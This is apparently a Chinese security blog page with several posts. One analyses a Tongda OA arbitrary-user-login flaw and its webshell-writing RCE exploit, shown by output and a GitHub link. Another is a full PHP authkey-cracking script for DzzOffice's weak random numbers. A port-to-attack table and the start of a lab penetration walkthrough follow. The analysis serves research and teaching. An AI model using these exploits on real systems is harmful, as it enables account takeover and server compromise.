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<a class="post-title-link" href="/2020/04/23/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-%E9%80%9A%E8%BE%BEOA-%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E%EF%BC%88%E5%8C%BF%E5%90%8DRCE%EF%BC%89%E5%88%86%E6%9E%90/" itemprop="url">代码审计 | 通达OA 任意用户登录漏洞（匿名RCE）分析</a></h1>
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<p>官网更新了v11.5版本后，漏洞分析和PoC逐渐浮出了水面，其实这漏洞结合后台的一些功能是可以进一步实现匿名RCE的。</p>
<h2 id="漏洞说明"><a href="#漏洞说明" class="headerlink" title="漏洞说明"></a>漏洞说明</h2><p>伪造任意用户（含管理员）登录漏洞的触发点在扫码登录功能，服务端只取了UID来做用户身份鉴别，由于UID是整型递增ID，从而导致可以登录指定UID用户（admin的缺省UID为1）。</p>
<h2 id="影响版本"><a href="#影响版本" class="headerlink" title="影响版本"></a>影响版本</h2><p>通达OA v2017、v11.x < v11.5 支持扫码登录版本。</p>
<h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>v11.5更新修复了2个地方：</p>
<ul>
<li>客户端扫码登录接口；</li>
<li>Web端扫码登录接口。</li>
</ul>
<h3 id="Web端扫码登录过程"><a href="#Web端扫码登录过程" class="headerlink" title="Web端扫码登录过程"></a>Web端扫码登录过程</h3><p>Web端扫码登录流程大致是这样：</p>
<ul>
<li><strong>第一步</strong></li>
</ul>
<p>Web端访问 <code>/general/login_code.php?codeuid=随机字符串</code> 生成一个二维码，<code>codeuid</code>作为这个二维码凭证。</p>
<ul>
<li><strong>第二步</strong></li>
</ul>
<p>Web端通过循环请求<code>/general/login_code_check.php</code>，将<code>codeuid</code>发送到服务端，判断是否有人扫了这个二维码。</p>
<ul>
<li><strong>第三步</strong></li>
</ul>
<p>移动端扫码这个二维码，然后将<code>codeuid</code>等数据发送到<code>/general/login_code_scan.php</code>服务端进行保存。</p>
<ul>
<li><strong>第四步</strong></li>
</ul>
<p>Web端通过<code>login_code_check.php</code>取得<code>codeuid</code>等扫码数据后（其实取数据这一步已经产生<code>$_SESSION["LOGIN_UID"]</code>登录了），再通过Web端发送到<code>logincheck_code.php</code>进行登录。</p>
<p>Web端登录请求脚本如下：</p>
<p><img src="/images/2020/04/23/01.png" alt=""></p>
<p>可以看到最终的登录数据只发送了<code>UID</code>到服务端，从而导致了任意用户登录。</p>
<h3 id="Web端补丁分析"><a href="#Web端补丁分析" class="headerlink" title="Web端补丁分析"></a>Web端补丁分析</h3><p>这里对比一下<code>v11.4</code>和<code>v11.5</code>修复前和修复后的源代码：</p>
<p>源文件： /logincheck_code.php</p>
<p><img src="/images/2020/04/23/02.png" alt=""></p>
<p>修复后的版本对UID进行了初始化，并增加token的校验。</p>
<p>从redis中取得token并进行<code>td_authcode()</code>解密，然后从中取出<code>UID</code>，避免了前段直接控制<code>UID</code>。</p>
<p>再看下token的生成方式，源文件： /general/login_code_scan.php</p>
<p><img src="/images/2020/04/23/03.png" alt=""></p>
<p>通过<code>PHPSESSID</code>从在线用户表<code>user_online</code>中取<code>UID</code>，然后封装数据MD5哈希后存入redis中。</p>
<h3 id="客户端补丁分析"><a href="#客户端补丁分析" class="headerlink" title="客户端补丁分析"></a>客户端补丁分析</h3><p>客户端和Web端大同小异，登录也加了<code>token</code>校验：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/ispirit/interface/login.php</span><br></pre></td></tr></table></figure>
<p><img src="/images/2020/04/23/04.png" alt=""></p>
<p>同样是增加了<code>token</code>校验。</p>
<h2 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><p>手动漏洞复现可以在浏览器直接打断点修改数据或者BurpSuite修改。</p>
<p>脚本构造数据包的时候只需两步即可：</p>
<ul>
<li>将数据写入缓存： /general/login_code.php</li>
<li>从缓存读取登录： /logincheck_code.php</li>
</ul>
<h3 id="任意用户登录-PoC"><a href="#任意用户登录-PoC" class="headerlink" title="任意用户登录 PoC"></a>任意用户登录 PoC</h3><p>知道了漏洞过程，那么实现PoC就很简单了，以获取Web目录绝对路径为例：</p>
<ul>
<li>tongda_v11.4_get_webroot_poc.py</li>
</ul>
<p>修改脚本里的<code>oa_addr</code>为目标OA地址，成功后会输出当前OA的安装绝对路径。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$ python3 tongda_v11.4_get_webroot_poc.py</span><br><span class="line"></span><br><span class="line">webroot: C:\\MYOA\\webroot</span><br><span class="line">cookies: PHPSESSID=xxxxx</span><br></pre></td></tr></table></figure>
<h3 id="匿名-RCE-ExP"><a href="#匿名-RCE-ExP" class="headerlink" title="匿名 RCE ExP"></a>匿名 RCE ExP</h3><p>有了后台管理权限和Web目录绝对路径，可以利用MySQL日志进一步写Shell，实现匿名RCE：</p>
<ul>
<li>tongda_v11.4_rce_exp.py</li>
</ul>
<p>修改脚本里的<code>oa_addr</code>为目标OA地址，成功后会在<code>/api/</code>目录下生成一个<code>test.php</code>，密码为：<code>cmd</code>，<code>GET</code>请求方式。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ python3 tongda_v11.4_rce_exp.py</span><br><span class="line"></span><br><span class="line">webroot: C:\\MYOA\\webroot</span><br><span class="line">cookies: PHPSESSID=xxxxx</span><br><span class="line">webshell: (GET) http://192.168.0.3:8080/api/test.php?cmd=ipconfig</span><br></pre></td></tr></table></figure>
<p><img src="/images/2020/04/23/05.png" alt=""></p>
<h2 id="扩展思考"><a href="#扩展思考" class="headerlink" title="扩展思考"></a>扩展思考</h2><p>我们脑洞一下这个补丁是否可以绕过：</p>
<h3 id="认证地址一："><a href="#认证地址一：" class="headerlink" title="认证地址一："></a>认证地址一：</h3><p>源文件： /logincheck_code.php</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$authInfo = $redis->get("OA:authcode:token:" . $token);</span><br><span class="line"></span><br><span class="line">$Info = td_authcode($authInfo, "DECODE");</span><br></pre></td></tr></table></figure>
<p>如果我们能找到一个可控的:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">TRedis::redis()->setex($xxx, $xxx);</span><br></pre></td></tr></table></figure>
<p>而<code>td_authcode()</code>的key是固定的，从而就可以伪造<code>token</code>进行任意用户登录。</p>
<h3 id="认证地址二："><a href="#认证地址二：" class="headerlink" title="认证地址二："></a>认证地址二：</h3><p>源文件： /ispirit/login_code_check.php</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">$login_codeuid = TD::get_cache("CODE_LOGIN_PC" . $codeuid);</span><br><span class="line"></span><br><span class="line">...</span><br><span class="line"></span><br><span class="line">$code_info = TD::get_cache("CODE_INFO_PC" . $login_codeuid);</span><br><span class="line"></span><br><span class="line">...</span><br><span class="line"></span><br><span class="line">$UID = intval($code_info["uid"]);</span><br></pre></td></tr></table></figure>
<p>如果我们能找到一个可控的：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">TD::set_cache($xxx, $xxx);</span><br></pre></td></tr></table></figure>
<p>也是可以伪造任意用户登录的。</p>
<hr/>
<p><strong>PoC & ExP 传送门：</strong> <a href="https://github.com/zrools/tools/tree/master/python" target="_blank" rel="noopener">https://github.com/zrools/tools/tree/master/python</a></p>
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<a class="post-title-link" href="/2020/03/16/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-DzzOffice-%E4%BC%AA%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%94%BB%E5%87%BB/" itemprop="url">代码审计 | DzzOffice 伪随机数攻击</a></h1>
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<h3 id="DzzOffice"><a href="#DzzOffice" class="headerlink" title="DzzOffice"></a>DzzOffice</h3><p>DzzOffice 是一套开源办公套件。</p>
<p>官网： <a href="http://dzz.cc/" target="_blank" rel="noopener">http://dzz.cc/</a></p>
<p>github： <a href="https://github.com/zyx0814/dzzoffice/releases/" target="_blank" rel="noopener">https://github.com/zyx0814/dzzoffice/releases/</a></p>
<p>版本： DzzOffice v2.02</p>
<h3 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h3><p>其加解密模块大致和Discuz!旧版本相同，同样存在authkey被爆破攻击，只是攻击方式略有不同。</p>
<p>authkey生成：</p>
<p>源文件： install/index.php</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">$authkey = substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$pconnect.substr($timestamp, 0, 6)), 8, 6).random(10);</span><br><span class="line">$_config['db'][1]['dbhost'] = $dbhost;</span><br><span class="line">$_config['db'][1]['dbname'] = $dbname;</span><br><span class="line">$_config['db'][1]['dbpw'] = $dbpw;</span><br><span class="line">$_config['db'][1]['dbuser'] = $dbuser;</span><br><span class="line">$_config['db'][1]['port'] = $port?$port:'3306';</span><br><span class="line">$_config['db'][1]['tablepre'] = $tablepre;</span><br><span class="line">$_config['admincp']['founder'] = (string)$uid;</span><br><span class="line">$_config['security']['authkey'] = $authkey;</span><br><span class="line">$_config['cookie']['cookiepre'] = random(4).'_';</span><br><span class="line">$_config['memory']['prefix'] = random(6).'_';</span><br></pre></td></tr></table></figure>
<p>源文件： install/include/install_function.php</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">function random($length) {</span><br><span class="line"> $hash = '';</span><br><span class="line"> $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';</span><br><span class="line"> $max = strlen($chars) - 1;</span><br><span class="line"> PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);</span><br><span class="line"> for($i = 0; $i < $length; $i++) {</span><br><span class="line"> $hash .= $chars[mt_rand(0, $max)];</span><br><span class="line"> }</span><br><span class="line"> return $hash;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h3 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h3><p>首先通过cookie前缀爆破出随机数种子：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$_config['cookie']['cookiepre']</span><br></pre></td></tr></table></figure>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line">$str='zRcd';</span><br><span class="line">$rand_str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';</span><br><span class="line"></span><br><span class="line">for ($i = 0; $i < strlen($str); $i++) {</span><br><span class="line"> $pos = strpos($rand_str, $str[$i]);</span><br><span class="line"> echo $pos.' '.$pos.' '.'0 '.(strlen($rand_str)-1).' ';</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">echo "\n";</span><br></pre></td></tr></table></figure>
<p>php_mt_seed 地址：<a href="https://www.openwall.com/php_mt_seed/" target="_blank" rel="noopener">https://www.openwall.com/php_mt_seed/</a></p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./php_mt_seed 61 61 0 61 17 17 0 61 38 38 0 61 39 39 0 61 > seeds.txt</span><br></pre></td></tr></table></figure>
<p>接着打开登录界面，F12打开控制台，然后在cookie里取得seccodeXXX和对的值：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">document.write('<img src="misc.php?mod=seccode&update=82310&idhash=Sz4Dyn80" class="img-seccode" title="刷新验证码" alt="" width="150" height="34">');</span><br></pre></td></tr></table></figure>
<p>通过验证码获取一对密文和明文在本地爆破，seccode生成格式如下：</p>
<p>源文件： core/function/function_seccode.php</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dsetcookie('seccode'.$idhash, authcode(strtoupper($seccode)."\t".(TIMESTAMP - 180)."\t".$idhash."\t".FORMHASH, 'ENCODE', $_G['config']['security']['authkey']), 0, 1, true);</span><br></pre></td></tr></table></figure>
<p>然后只需要本地暴力跑authkey前6位验证idhash就可以了：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">$pre = 'zRcd';</span><br><span class="line">$seccode = substr('zRcd_2132_seccodeSz4Dyn80', -8);</span><br><span class="line">$string = '4b57rnl5TRniqDPTjZ5wt7rDw0IJVQEFlVoJwW4LXvaKOfwiQXpiJEBs2mqSUyFXwlzq-6_lrtmfcwesn0E';</span><br><span class="line"></span><br><span class="line">// $key = 'fa5f4fcFeIwLv0GT';</span><br><span class="line">// $res = authcode_decode($string, $key);</span><br><span class="line"></span><br><span class="line">$seeds = explode("\n", file_get_contents('seeds.txt'));</span><br><span class="line"></span><br><span class="line">for ($i = 0; $i < count($seeds); $i++) {</span><br><span class="line"> if(preg_match('/= (\d+) /', $seeds[$i], $matach)) {</span><br><span class="line"> mt_srand(intval($matach[1]));</span><br><span class="line"> $authkey = random(10);</span><br><span class="line"> echo $authkey;</span><br><span class="line"> if(random(4) == $pre){</span><br><span class="line"> echo "trying $authkey...\n";</span><br><span class="line"> $res = crack($string, $authkey, $seccode);</span><br><span class="line"> if($res) {</span><br><span class="line"> echo "authkey found: ".$res;</span><br><span class="line"> exit();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">function crack($string, $authkey, $seccode) {</span><br><span class="line"> $chrs = '1234567890abcdef';</span><br><span class="line"> for ($a = 0; $a < 16; $a++) {</span><br><span class="line"> for ($b = 0; $b < 16; $b++) {</span><br><span class="line"> for ($c = 0; $c < 16; $c++) {</span><br><span class="line"> for ($d = 0; $d < 16; $d++) {</span><br><span class="line"> for ($e = 0; $e < 16; $e++) {</span><br><span class="line"> for ($f = 0; $f < 16; $f++) {</span><br><span class="line"> $key = $chrs[$a].$chrs[$b].$chrs[$c].$chrs[$d].$chrs[$e].$chrs[$f].$authkey;</span><br><span class="line"> $result = authcode_decode($string, $key);</span><br><span class="line"> if (strpos($result, "\t$seccode\t")) {</span><br><span class="line"> return $key;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> return false;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">function authcode_decode($string, $key) {</span><br><span class="line"> $key = md5($key);</span><br><span class="line"> $ckey_length = 4;</span><br><span class="line"> $keya = md5(substr($key, 0, 16));</span><br><span class="line"> $keyc = substr($string, 0, $ckey_length);</span><br><span class="line"></span><br><span class="line"> $cryptkey = $cryptkey = $keya . md5($keya . $keyc);</span><br><span class="line"> $key_length = strlen($cryptkey);</span><br><span class="line"></span><br><span class="line"> $string = base64_decode(substr(str_replace(array('_', '-'), array('/', '+'), $string), $ckey_length));</span><br><span class="line"> $string_length = strlen($string);</span><br><span class="line"></span><br><span class="line"> $result = '';</span><br><span class="line"> $box = range(0, 255);</span><br><span class="line"></span><br><span class="line"> $rndkey = array();</span><br><span class="line"> for ($i = 0; $i <= 255; $i++) {</span><br><span class="line"> $rndkey[$i] = ord($cryptkey[$i % $key_length]);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> for ($j = $i = 0; $i < 256; $i++) {</span><br><span class="line"> $j = ($j + $box[$i] + $rndkey[$i]) % 256;</span><br><span class="line"> $tmp = $box[$i];</span><br><span class="line"> $box[$i] = $box[$j];</span><br><span class="line"> $box[$j] = $tmp;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> for ($a = $j = $i = 0; $i < $string_length; $i++) {</span><br><span class="line"> $a = ($a + 1) % 256;</span><br><span class="line"> $j = ($j + $box[$a]) % 256;</span><br><span class="line"> $tmp = $box[$a];</span><br><span class="line"> $box[$a] = $box[$j];</span><br><span class="line"> $box[$j] = $tmp;</span><br><span class="line"> $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> return $result;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">function random($length) {</span><br><span class="line"> $hash = '';</span><br><span class="line"> $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';</span><br><span class="line"> $max = strlen($chars) - 1;</span><br><span class="line"> for($i = 0; $i < $length; $i++) {</span><br><span class="line"> $hash .= $chars[mt_rand(0, $max)];</span><br><span class="line"> }</span><br><span class="line"> return $hash;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>跑得会相对会比较慢一些，需要注意PHP版本。</p>
<p>参考：</p>
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<li><a href="https://www.anquanke.com/post/id/86679" target="_blank" rel="noopener">https://www.anquanke.com/post/id/86679</a></li>
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<table>
<thead>
<tr>
<th>类型</th>
<th>端口</th>
<th>内容</th>
<th>备注</th>
</tr>
</thead>
<tbody><tr>
<td>FTP</td>
<td>21</td>
<td>文件传输协议，File Transfer Protocol</td>
<td>弱口令、匿名访问、拒绝服务</td>
</tr>
<tr>
<td>SSH</td>
<td>22</td>
<td>安全外壳协议， Secure Shell</td>
<td>弱口令、匿名访问、私钥泄漏</td>
</tr>
<tr>
<td>Telnet</td>
<td>23</td>
<td>远程登录服务协议</td>
<td>弱口令 匿名访问</td>
</tr>
<tr>
<td>Samba</td>
<td>139/445(TCP) <br> 137/138(UDP)</td>
<td>SMB资源共享服务</td>
<td>命令执行(CVE-2017-7494)</td>
</tr>
<tr>
<td>SNMP</td>
<td>161</td>
<td>简单网络管理协议</td>
<td>弱口令</td>
</tr>
<tr>
<td>LADP</td>
<td>389</td>
<td>轻型目录访问协议，Lightweight Directory Access Protocol</td>
<td>匿名访问、LADP注入</td>
</tr>
<tr>
<td>SSL</td>
<td>443</td>
<td>安全套接层，Secure Sockets Layer</td>
<td>OpenSSL心脏出血</td>
</tr>
<tr>
<td>SMB</td>
<td>445</td>
<td>信息服务块，Server Messages Block</td>
<td>MS08-067、MS17-010</td>
</tr>
<tr>
<td>Rsync</td>
<td>875</td>
<td>数据镜像备份工具</td>
<td>匿名访问</td>
</tr>
<tr>
<td>MSSQL</td>
<td>1433</td>
<td>SQL Server数据库服务器</td>
<td>弱口令</td>
</tr>
<tr>
<td>Oracle</td>
<td>1521</td>
<td>数据库管理系统</td>
<td>弱口令</td>
</tr>
<tr>
<td>ZooKeeper</td>
<td>2181\2888\3888</td>
<td>分布式应用程序协调服务</td>
<td>未授权访问</td>
</tr>
<tr>
<td>MySQL</td>
<td>3306</td>
<td>关系型数据库管理系统</td>
<td>弱口令、UDF提权、MOF提权、日志写Shell</td>
</tr>
<tr>
<td>RDP</td>
<td>3389</td>
<td>远程桌面协议</td>
<td>弱口令、CVE2019-0708</td>
</tr>
<tr>
<td>PostgreSQL</td>
<td>5432</td>
<td>对象-关系型数据库管理系统</td>
<td>弱口令</td>
</tr>
<tr>
<td>CouchDB</td>
<td>5984(HTTP)<br> 6984(HTTPS)</td>
<td>开源的面向文档的数据库管理系统</td>
<td>未授权访问</td>
</tr>
<tr>
<td>VNC</td>
<td>5900</td>
<td>虚拟网络控制台，Virtual Network Console</td>
<td>弱口令</td>
</tr>
<tr>
<td>Redis</td>
<td>6379</td>
<td>远程字典服务，Remote Dictionary Server</td>
<td>未授权(getshell、ssh私钥、计划任务)</td>
</tr>
<tr>
<td>Weblogic</td>
<td>7001/7002</td>
<td>基于JavaEE架构的中间件</td>
<td>反序列化、弱口令、SSRF</td>
</tr>
<tr>
<td>JBoss</td>
<td>8080/8093</td>
<td>基于JavaEE的应用服务器</td>
<td>弱口令、反序列化</td>
</tr>
<tr>
<td>Jenkins</td>
<td>8080</td>
<td>基于Java的持续集成工具</td>
<td>弱口令、反序列化</td>
</tr>
<tr>
<td>Tomcat</td>
<td>8080</td>
<td>Web 应用服务器</td>
<td>弱口令</td>
</tr>
<tr>
<td>WebSphere</td>
<td>9043</td>
<td>IBM的模块化的平台</td>
<td>未授权、反序列化、弱口令(admin/password)</td>
</tr>
<tr>
<td>Zabbix</td>
<td>10051</td>
<td>SQL注入、弱口令</td>
<td>弱口令(zabbix/zabbix)、SQL注入</td>
</tr>
<tr>
<td>MemCache</td>
<td>11211</td>
<td>分布式的高速缓存系统</td>
<td>未授权、UDP放大反射</td>
</tr>
<tr>
<td>MongoDB</td>
<td>27017/27018</td>
<td>分布式文件存储数据库</td>
<td>未授权、注入</td>
</tr>
<tr>
<td>SAP</td>
<td>50000</td>
<td>System Applications and Products</td>
<td>命令注入</td>
</tr>
<tr>
<td>Hadoop</td>
<td>50030/50070</td>
<td>分布式系统基础架构</td>
<td>未授权、命令注入</td>
</tr>
</tbody></table>
</div>
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<h2 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h2><ul>
<li><strong>项目地址</strong></li>
</ul>
<p><a href="http://vulnstack.qiyuanxuetang.net/vuln/detail/2/" target="_blank" rel="noopener">http://vulnstack.qiyuanxuetang.net/vuln/detail/2/</a></p>
<ul>
<li><strong>网络拓扑</strong></li>
</ul>
<p><img src="/images/2020/03/09/00.png" alt=""></p>
<h3 id="环境说明"><a href="#环境说明" class="headerlink" title="环境说明"></a>环境说明</h3><p>下载回来有三个虚拟机：</p>
<ul>
<li><strong>VM1:</strong> vulnstack-win7</li>
<li><strong>VM2:</strong> vulnstack-Win2K3 Metasploitable</li>
<li><strong>VM3:</strong> vulnstack-winserver08</li>
</ul>
<p>提供的是VMware直接打包的虚拟机文件(<code>.vmdk</code>)，使用VMWare的根据官方提供的截图配置就可以了，由于我是Linux环境，装的是VirtualBox，需要稍作调整，根据项目截图的网络配置：</p>
<ul>
<li><strong>192.168.54.0/24：</strong> Web服务环境，在VBox中用Host-only Adapter(主机模式)</li>
<li><strong>192.168.72.0/24：</strong> 域内网环境，在VBox中用Internal(内网模式) </li>
</ul>
<p>宿主机充当测试机，这里只配置三台虚拟机网络就可以了，<code>Host-only Adapter</code>直接在菜单栏里添加，<code>Internal</code>在网卡适配器填入相同的名称，比如<code>intnet0</code>，网卡配置：</p>
<ul>
<li><strong>vulnstack-win7：</strong> intnet0、vboxnet0</li>
<li><strong>vulnstack-Win2K3 Metasploitable：</strong> intnet0</li>
<li><strong>vulnstack-winserver08：</strong> intnet0</li>
</ul>
<p>由于没有快照文件，使用VirtualBox各建一个虚拟机附加相应的<code>.vmdk</code>文件，然后在网卡配置选择对应的模式和网络。</p>
<p><img src="/images/2020/03/09/01.png" alt=""></p>
<p>接着登录各个VM设置固定IP，内网域成员主机网卡DNS地址指向域控IP地址，三个VM的IP分别为：</p>
<ul>
<li><strong>VM1(Win7)：</strong> 192.168.54.3(vboxnet0)、192.168.72.104(intnet0)</li>
<li><strong>VM2(W2003)：</strong> 192.168.72.103(intnet0)</li>
<li><strong>VM3(W2008):</strong> 192.168.72.102(intnet0)</li>
</ul>
<p>由于VM2和VM3都在内网，要对其进行渗透首先得拿下VM1 Web服务器的权限，再作为跳板进入内网横向移动。各个VM都有着比较多的服务，这里只挑比较容易的来练习，主要是获取服务器SYSTEM权限。</p>
<p>本文使用到的工具：</p>
<ul>
<li>Metasploit Framework： Kali Linux</li>
<li>Ladon： <a href="https://github.com/k8gege/Ladon.git" target="_blank" rel="noopener">https://github.com/k8gege/Ladon.git</a></li>
<li>dirmap： <a href="https://github.com/H4ckForJob/dirmap.git" target="_blank" rel="noopener">https://github.com/H4ckForJob/dirmap.git</a></li>
</ul>
<h3 id="注意事项："><a href="#注意事项：" class="headerlink" title="注意事项："></a>注意事项：</h3><ul>
<li>VM1(Win7)的Web服务需要进去手动启动phpStudy(C:/phpStudy)；</li>
<li>VM2(Win2003)的<code>.vmdk</code>拷过来附加到VirtualBox发生MBR引导错误出现：<code>error loading operating system</code>，用GHOST复制修复一下虚拟磁盘，如果启动蓝屏，试试勾选APIC (虚拟机配置System选项)和把接口改为<code>SCSI</code>：</li>
</ul>
<p><img src="/images/2020/03/09/03.png" alt=""></p>
<p>如果Win2003如果开机发现没有域登录选项，需要重新手动加入域，登录界面才有域登录选项：</p>
<p><img src="/images/2020/03/09/02.png" alt=""></p>
<h2 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><h3 id="端口扫描-amp-Web目录扫描"><a href="#端口扫描-amp-Web目录扫描" class="headerlink" title="端口扫描 & Web目录扫描"></a>端口扫描 & Web目录扫描</h3><p>使用nmap对VM1(192.168.54.3)进行端口扫描：</p>